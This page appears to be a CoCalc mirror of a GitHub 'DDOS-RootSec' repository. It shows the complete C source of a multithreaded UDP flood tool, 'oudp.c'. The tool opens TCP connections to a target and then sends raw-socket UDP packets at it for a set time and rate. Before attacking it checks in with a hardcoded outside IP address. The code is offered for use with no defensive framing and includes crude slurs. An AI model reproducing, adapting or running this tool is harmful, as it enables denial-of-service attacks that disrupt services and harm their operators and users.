Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/UDP/oudp.c
4607 views
1
/*
2
same as oack non spoofed, connects to tcp port first and floods udp port, yep
3
made by googleadmin
4
*/
5
#include <unistd.h>
6
#include <time.h>
7
#include <sys/types.h>
8
#include <sys/socket.h>
9
#include <sys/ioctl.h>
10
#include <string.h>
11
#include <stdlib.h>
12
#include <stdio.h>
13
#include <pthread.h>
14
#include <netinet/tcp.h>
15
#include <netinet/udp.h>
16
#include <netinet/ip.h>
17
#include <netinet/in.h>
18
#include <netinet/if_ether.h>
19
#include <netdb.h>
20
#include <net/if.h>
21
#include <arpa/inet.h>
22
#define MAX_PACKET_SIZE 4096
23
#define PHI 0x9e3779b9
24
25
static unsigned long int Q[4096], c = 362436;
26
static unsigned int floodport;
27
static unsigned int udport;
28
volatile int limiter;
29
volatile unsigned int pps;
30
volatile unsigned int sleeptime = 100;
31
32
void init_rand(unsigned long int x)
33
{
34
int i;
35
Q[0] = x;
36
Q[1] = x + PHI;
37
Q[2] = x + PHI + PHI;
38
for (i = 3; i < 4096; i++)
39
{
40
Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
41
}
42
}
43
44
unsigned long int rand_cmwc(void)
45
{
46
unsigned long long int t, a = 18782LL;
47
static unsigned long int i = 4095;
48
unsigned long int x, r = 0xfffffffe;
49
i = (i + 1) &4095;
50
t = a *Q[i] + c;
51
c = (t >> 32);
52
x = t + c;
53
if (x < c)
54
{
55
x++;
56
c++;
57
}
58
59
return (Q[i] = r - x);
60
}
61
62
int randnum(int min_num, int max_num)
63
{
64
int result = 0, low_num = 0, hi_num = 0;
65
66
if (min_num < max_num)
67
{
68
low_num = min_num;
69
hi_num = max_num + 1;
70
}
71
else
72
{
73
low_num = max_num + 1;
74
hi_num = min_num;
75
}
76
77
result = (rand_cmwc() % (hi_num - low_num)) + low_num;
78
return result;
79
}
80
81
unsigned short csum(unsigned short *buf, int count)
82
{
83
register unsigned long sum = 0;
84
while (count > 1)
85
{
86
sum += *buf++;
87
count -= 2;
88
}
89
90
if (count > 0)
91
{
92
sum += *(unsigned char *) buf;
93
}
94
95
while (sum >> 16)
96
{
97
sum = (sum & 0xffff) + (sum >> 16);
98
}
99
100
return (unsigned short)(~sum);
101
}
102
103
unsigned short udpcsum(struct iphdr *iph, struct udphdr *udph, int psize)
104
{
105
struct udp_pseudo
106
{
107
unsigned long src_addr;
108
unsigned long dst_addr;
109
unsigned char zero;
110
unsigned char proto;
111
unsigned short length;
112
}
113
114
pseudohead;
115
unsigned short total_len = iph->tot_len;
116
pseudohead.src_addr = iph->saddr;
117
pseudohead.dst_addr = iph->daddr;
118
pseudohead.zero = 0;
119
pseudohead.proto = IPPROTO_UDP;
120
pseudohead.length = htons(sizeof(struct udphdr) + psize);
121
int totaludp_len = sizeof(struct udp_pseudo) + sizeof(struct udphdr) + psize;
122
unsigned short *udp = malloc(totaludp_len);
123
memcpy((unsigned char *) udp, &pseudohead, sizeof(struct udp_pseudo));
124
memcpy((unsigned char *) udp + sizeof(struct udp_pseudo), (unsigned char *) udph, sizeof(struct udphdr) + psize);
125
unsigned short output = csum(udp, totaludp_len);
126
free(udp);
127
return output;
128
}
129
130
void setup_ip_header(struct iphdr *iph)
131
{
132
iph->ihl = 5;
133
iph->version = 4;
134
iph->tos = 0;
135
iph->id = htonl(54321);
136
iph->frag_off = 0;
137
iph->ttl = MAXTTL;
138
iph->protocol = 17;
139
iph->check = 0;
140
}
141
142
void setup_udp_header(struct udphdr *udph)
143
{
144
udph->source = htons(5678);
145
udph->check = 0;
146
memcpy((void*) udph + sizeof(struct udphdr), "\x00\x01\x00\x5c\x21\x12\xa4", 7);
147
udph->len = htons(sizeof(struct udphdr) + 7);
148
}
149
150
int socket_connect(char *host, in_port_t port, int sport)
151
{
152
struct hostent * hp;
153
struct sockaddr_in addr, cliaddr;
154
int on = 1, sock;
155
if ((hp = gethostbyname(host)) == NULL) return 0;
156
bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
157
addr.sin_port = htons(port);
158
addr.sin_family = AF_INET;
159
cliaddr.sin_family = AF_INET;
160
cliaddr.sin_addr.s_addr = htonl(INADDR_ANY);
161
cliaddr.sin_port = htons(sport);
162
sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
163
bind(sock, (struct sockaddr *) &cliaddr, sizeof(cliaddr));
164
setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *) &on, sizeof(int));
165
if (sock == -1) return 0;
166
if (connect(sock, (struct sockaddr *) &addr, sizeof(struct sockaddr_in)) == -1)
167
{
168
socket_connect(host, port, sport);
169
}
170
}
171
172
void *flood(void *par1)
173
{
174
char *td = (char*) par1;
175
char datagram[MAX_PACKET_SIZE];
176
struct iphdr *iph = (struct iphdr *) datagram;
177
struct udphdr *udph = (void*) iph + sizeof(struct iphdr);
178
int sportne = randnum(55000, 64932);
179
sportne = randnum(55000, 64932);
180
181
struct sockaddr_in sin;
182
sin.sin_family = AF_INET;
183
sin.sin_port = htons(floodport);
184
sin.sin_addr.s_addr = inet_addr(td);
185
186
int fd = 0;
187
struct sockaddr_in addr;
188
socklen_t addr_len = sizeof(addr);
189
190
int errno = 0;
191
if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
192
{
193
return 0;
194
}
195
196
addr.sin_family = AF_INET;
197
addr.sin_addr.s_addr = inet_addr("8.8.8.8");
198
addr.sin_port = htons(53);
199
200
connect(fd, (struct sockaddr *) &addr, sizeof(struct sockaddr_in));
201
202
getsockname(fd, (struct sockaddr *) &addr, &addr_len);
203
close(fd);
204
205
int s = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
206
if (s < 0)
207
{
208
fprintf(stderr, "Could not open raw socket.\n");
209
exit(-1);
210
}
211
212
memset(datagram, 0, MAX_PACKET_SIZE);
213
setup_ip_header(iph);
214
setup_udp_header(udph);
215
216
udph->dest = htons(udport);
217
218
iph->saddr = inet_addr(inet_ntoa(addr.sin_addr));
219
iph->daddr = sin.sin_addr.s_addr;
220
iph->check = csum((unsigned short *) datagram, iph->tot_len);
221
222
int tmp = 1;
223
const int *val = &tmp;
224
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0)
225
{
226
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
227
exit(-1);
228
}
229
230
int gayassfuck = randnum(725, 1000);
231
char *payloadmsg = "<>-ABCZXY:/\\";
232
unsigned char payload1[gayassfuck];
233
int mb;
234
235
for (mb = 0; mb <= gayassfuck; mb++)
236
{
237
payload1[mb] = payloadmsg[rand() % 12];
238
}
239
240
int sumup = sizeof(struct udphdr) + sizeof(struct iphdr);
241
memcpy((void*) udph + sizeof(struct udphdr) + sizeof(struct iphdr), payload1, gayassfuck);
242
243
socket_connect(td, floodport, sportne);
244
init_rand(time(NULL));
245
register unsigned int i;
246
register unsigned int packetcounter = 0;
247
i = 0;
248
while (1)
249
{ if(packetcounter > 500){
250
sportne = randnum(55000, 64932);
251
socket_connect(td, floodport, sportne);
252
packetcounter = 0;
253
} else {
254
packetcounter++;
255
}
256
iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + gayassfuck;
257
udph->len = htons(sizeof(struct udphdr) + gayassfuck);
258
udph->check = 0;
259
udph->dest = htons(udport);
260
iph->saddr = inet_addr(inet_ntoa(addr.sin_addr));
261
iph->id = htonl(rand_cmwc() &0xFFFFFFFF);
262
iph->ttl = randnum(64, 128);
263
iph->check = csum((unsigned short *) datagram, iph->tot_len);
264
udph->source = htons(sportne);
265
udph->check = udpcsum(iph, udph, gayassfuck);
266
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
267
pps++;
268
i = 0;
269
usleep(1900);
270
}
271
}
272
273
int whitelistcheck()
274
{
275
int portno = 787;
276
char *hostname = "168.138.141.224";
277
278
int sockfd;
279
struct sockaddr_in serv_addr;
280
struct hostent * server;
281
282
sockfd = socket(AF_INET, SOCK_STREAM, 0);
283
if (sockfd < 0)
284
{
285
error("ERROR opening socket");
286
}
287
288
server = gethostbyname(hostname);
289
290
if (server == NULL)
291
{
292
fprintf(stderr, "ERROR, no such host\n");
293
exit(0);
294
}
295
296
bzero((char*) &serv_addr, sizeof(serv_addr));
297
serv_addr.sin_family = AF_INET;
298
bcopy((char*) server->h_addr,
299
(char*) &serv_addr.sin_addr.s_addr,
300
server->h_length);
301
302
serv_addr.sin_port = htons(portno);
303
if (connect(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0)
304
{
305
exit(0);
306
}
307
else
308
{
309
printf("Success!\n");
310
}
311
312
close(sockfd);
313
}
314
315
int main(int argc, char *argv[])
316
{
317
if (argc < 6)
318
{
319
fprintf(stdout, "usage %s: threads port(tcp) target time pps port(udp)\n", argv[0]);
320
fprintf(stdout, "made by googleadmin, usage fucked by forky\n");
321
exit(-1);
322
}
323
324
fprintf(stdout, "sending big boom packeting\n");
325
326
whitelistcheck();
327
328
fprintf(stdout, "preparing flood...\n");
329
330
int num_threads = atoi(argv[1]);
331
floodport = atoi(argv[2]);
332
udport = atoi(argv[6]);
333
int maxpps = atoi(argv[5]);
334
limiter = 0;
335
pps = 0;
336
pthread_t thread[num_threads];
337
338
int multiplier = 20;
339
340
int i;
341
for (i = 0; i < num_threads; i++)
342
{
343
pthread_create(&thread[i], NULL, &flood, (void*) argv[3]);
344
sleep(1);
345
}
346
347
fprintf(stdout, "flooding now...\n");
348
for (i = 0; i < (atoi(argv[4]) *multiplier); i++)
349
{
350
usleep((1000 / multiplier) *1000);
351
if ((pps *multiplier) > maxpps)
352
{
353
if (1 > limiter)
354
{
355
sleeptime += 100;
356
}
357
else
358
{
359
limiter--;
360
}
361
}
362
else
363
{
364
limiter++;
365
if (sleeptime > 25)
366
{
367
sleeptime -= 25;
368
}
369
else
370
{
371
sleeptime = 0;
372
}
373
}
374
375
pps = 0;
376
}
377
378
return 0;
379
}
380